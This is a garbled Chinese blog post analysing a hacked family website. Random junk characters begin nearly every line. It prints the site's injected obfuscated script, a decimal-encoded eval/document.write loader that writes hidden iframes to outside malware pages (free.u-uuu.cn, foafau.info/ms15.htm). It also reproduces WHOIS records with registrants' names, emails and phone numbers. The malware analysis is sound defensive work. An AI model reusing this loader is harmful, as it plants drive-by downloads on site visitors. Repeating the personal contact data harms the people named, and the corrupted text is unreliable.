首发在我的博客里面，
4<|u~n*JF i QF93:# http://www.areway.cn/?p=175 =%LS9e^7D 2dfA}i> k K-ebAa iC 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
K4BMa]/U P6Ei!t,> <script>t=’60,105,102,114,97,109,101,
5 *_# " 32,115,114,99,61,104,116,116,112,58,47,47,
']Z8C)tK 102,114,101,101,46,117,45,117,117,117,46,99,
\#slZ;&s 110,47,101,114,114,111,114,46,104,116,109,
Jp- hFD 32,119,105,100,116,104,61,49,48,48,32,104,
lV8Mr6m 101,105,103,104,116,61,48,62,60,47,105,102,
wr`eBPu 114,97,109,101,62′;
M:x(_Lu t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
?= /l@ d C$8=HM3 <script>t=’60,105,102,114,97,109,101,32,115,
bGZy0. 114,99,61,104,116,116,112,58,47,47,102,114,
X`&E,;bIb 101,101,46,117,45,117,117,117,46,99,110,47,
Y%3j >_\; 101,114,114,111,114,46,104,116,109,32,119,
Go4l#6 105,100,116,104,61,49,48,48,32,104,101,105,
PyYe>a;. 103,104,116,61,48,62,60,47,105,102,114,97,
-UO$$)Q 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
R##O9BSI8Z document.write(t);</script>
U/>5C : T~la,>p|} <html xmlns=”
rAWBuEU;! http://www.w3.org/1999/xhtml d=[ . “>
9E5B.qlw$l <head>
zC7;Zj*k <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
{P Ze!EQ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
5@Sb[za <title>首页 - 爱生活家庭网
`g7'
)MSy n}2} 4^ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
I/'>Bn+ 转换字符串后的大概内容是（谁点击后果自付）：
Ex<loVIrP$ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
>a,w8 ^7 1*Z}M% 查询玉米u-uuu.cn的详细信息：
T "O! Domain Name: u-uuu.cn
!)GPI?{^5 ROID: 20070901s10001s64972306-cn
bkb}M)C Domain Status: ok
<R2bz1!h. Registrant Organization: 王雷
^VA)vLj@ Registrant Name: 王雷
7{6wN c Administrative Email:
czlovexs@126.com jsuQ R Sponsoring Registrar: 北京万网志成科技有限公司
l!
GPOmf9` Name Server:ns.yovole.com
Xr@0RFdr[ Name Server:ns1.yovole.com
Gb"PM ai Registration Date: 2007-09-01 17:54
~! @a Expiration Date: 2008-09-01 17:54
17-K~ybc 最后PING了一下地址 都没有什么….
3 Tt8#B W_?S^>?l/ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
>d =k-d <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
lm$T`: c <script language=”javascript” src=”
@rE>D http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Q.x3_+ CX >
ZW2U9 这个玉米应该有可能是木马作者的：
V4|pZ] foafau.info的详细信息：
1&U U6| X Access to INFO WHOIS information is provided to assist persons in
$N~8 ^6 determining the contents of a domain name registration record in the
905
/4z' Afilias registry database. The data in this record is provided by
o_?YY w-: Afilias Limited for informational purposes only, and Afilias does not
LcQ \ d* guarantee its accuracy. This service is intended only for query-based
Hg<]5 access. You agree that you will use this data only for lawful purposes
j#29L" and that, under no circumstances will you use this data to: (a) allow,
f)>=. sp enable, or otherwise support the transmission by e-mail, telephone, or
|@Bl?Bs+ facsimile of mass unsolicited, commercial advertising or solicitations
$cjidBi`): to entities other than the data recipient’s own existing customers; or
!iMsTH<
(b) enable high volume, automated, electronic processes that send
NI3_wV queries or data to the systems of Registry Operator, a Registrar, or
.QW89e,O3 Afilias except as reasonably necessary to register domain names or
b*7OIN5h modify existing registrations. All rights reserved. Afilias reserves
Ok9XC <Xu the right to modify these terms at any time. By submitting this query,
yKi* 8N"e< you agree to abide by this policy.
%;GDg3 L[p Domain ID:D22418703-LRMS
Nb-;D)W;B Domain Name:FOAFAU.INFO
QD s]{F# Created On:20-Nov-2007 16:05:42 UTC
kA fkQy(~ Last Updated On:20-Nov-2007 16:05:44 UTC
TC'tui Expiration Date:20-Nov-2008 16:05:42 UTC
rlgp1>8 9 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
2-FL&DE Status:CLIENT DELETE PROHIBITED
f Vw+8 [d0 Status:CLIENT RENEW PROHIBITED
_8S!w>$) Status:CLIENT TRANSFER PROHIBITED
s~,Y po? Status:CLIENT UPDATE PROHIBITED
0X.pI1jCO Status:TRANSFER PROHIBITED
(z\@T`6` Registrant ID:GODA-040110615
L'.7V ~b{ Registrant Name:liu hong
ml\A)8O]j/ Registrant Organization:
.cjSgK1 Registrant Street1:beijing
{U>B\D Registrant Street2:
\IIR2Xf,K Registrant Street3:
(i 1 ]+. Registrant City:beijing
x 8w455 Registrant State/Province:
# 2s$dI Registrant Postal Code:100000
wUv
Zc Registrant Country:CN
,,OO2EgZ` Registrant Phone:+86.860108888777
\}Z5}~S Registrant Phone Ext.:
Z G3u Registrant FAX:
QOB>Tv E Registrant FAX Ext.:
> X<pzD3u Registrant Email:bbbshiji@163.com
q{ i9VJ] Admin ID:GODA-240110615
unKi)v1 Admin Name:liu hong
zuwlVn Admin Organization:
r >+\9q1 Admin Street1:beijing
1YL6:5n Admin Street2:
j#rjYiYKy Admin Street3:
{1Z8cV Admin City:beijing
nkUSd}a`r Admin State/Province:
@@M
2s( Admin Postal Code:100000
Dk[m)]w\ Admin Country:CN
Js.2R$o =* Admin Phone:+86.860108888777
F
jsnFX; Admin Phone Ext.:
` 83s97Sa Admin FAX:
n]S
DpptM Admin FAX Ext.:
ya .!zGH Admin Email:bbbshiji@163.com
`f?v_Ui-$ Billing ID:GODA-340110615
,T& =*q Billing Name:liu hong
2:3-mWE Billing Organization:
LhO%^`vu Billing Street1:beijing
o_R<7o/d| Billing Street2:
Y>W$n9d&G2 Billing Street3:
[;~:',vHQf Billing City:beijing
1$mxMXNsJ Billing State/Province:
$=3&qg"! Billing Postal Code:100000
>ka*-8? Billing Country:CN
P&I%!'<
Billing Phone:+86.860108888777
e1ts/@V Billing Phone Ext.:
|[qq
$ Billing FAX:
OI/m_xx@j Billing FAX Ext.:
~0/tU#& Billing Email:bbbshiji@163.com
"u^%~ 2 Tech ID:GODA-140110615
%8C,9q Tech Name:liu hong
nz_=]PH O& Tech Organization:
tf<}%4G Tech Street1:beijing
IDCuS Tech Street2:
*WTmS2?'h Tech Street3:
v|~&I%S7 Tech City:beijing
bT93R8yp Tech State/Province:
6WI -ZEVp& Tech Postal Code:100000
pAK7V;sJ Tech Country:CN
bzj9U>eY Tech Phone:+86.860108888777
PH!^w w6
Tech Phone Ext.:
\<n 9kwU
Tech FAX:
tFj[>_d7 Tech FAX Ext.:
3jR> Tech Email:bbbshiji@163.com
o}^/K m+t Name Server:NS27.DOMAINCONTROL.COM
''. P= Name Server:NS28.DOMAINCONTROL.COM
Lvco9
Ak Name Server:
ahJ -T@ Name Server:
8n V#\J9 Name Server:
*,x -}%X Name Server:
nrFuhW\r Name Server:
PeU>h2t Name Server:
WF#3'"I Name Server:
+F>9hA Name Server:
Nj5V" c Name Server:
_U
Q|I|V# Name Server:
322)r$!" Name Server:
40?xu#" C4,;l^?=% 接着下载每个文件里面的代码：
}^b7x;O| 一步一步看..
='rSB.$Ctk 
WSi`KNX 
M'(4{4rC 
E: 7R>. g 
!Py SYY 
Sh@en\m=#S 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
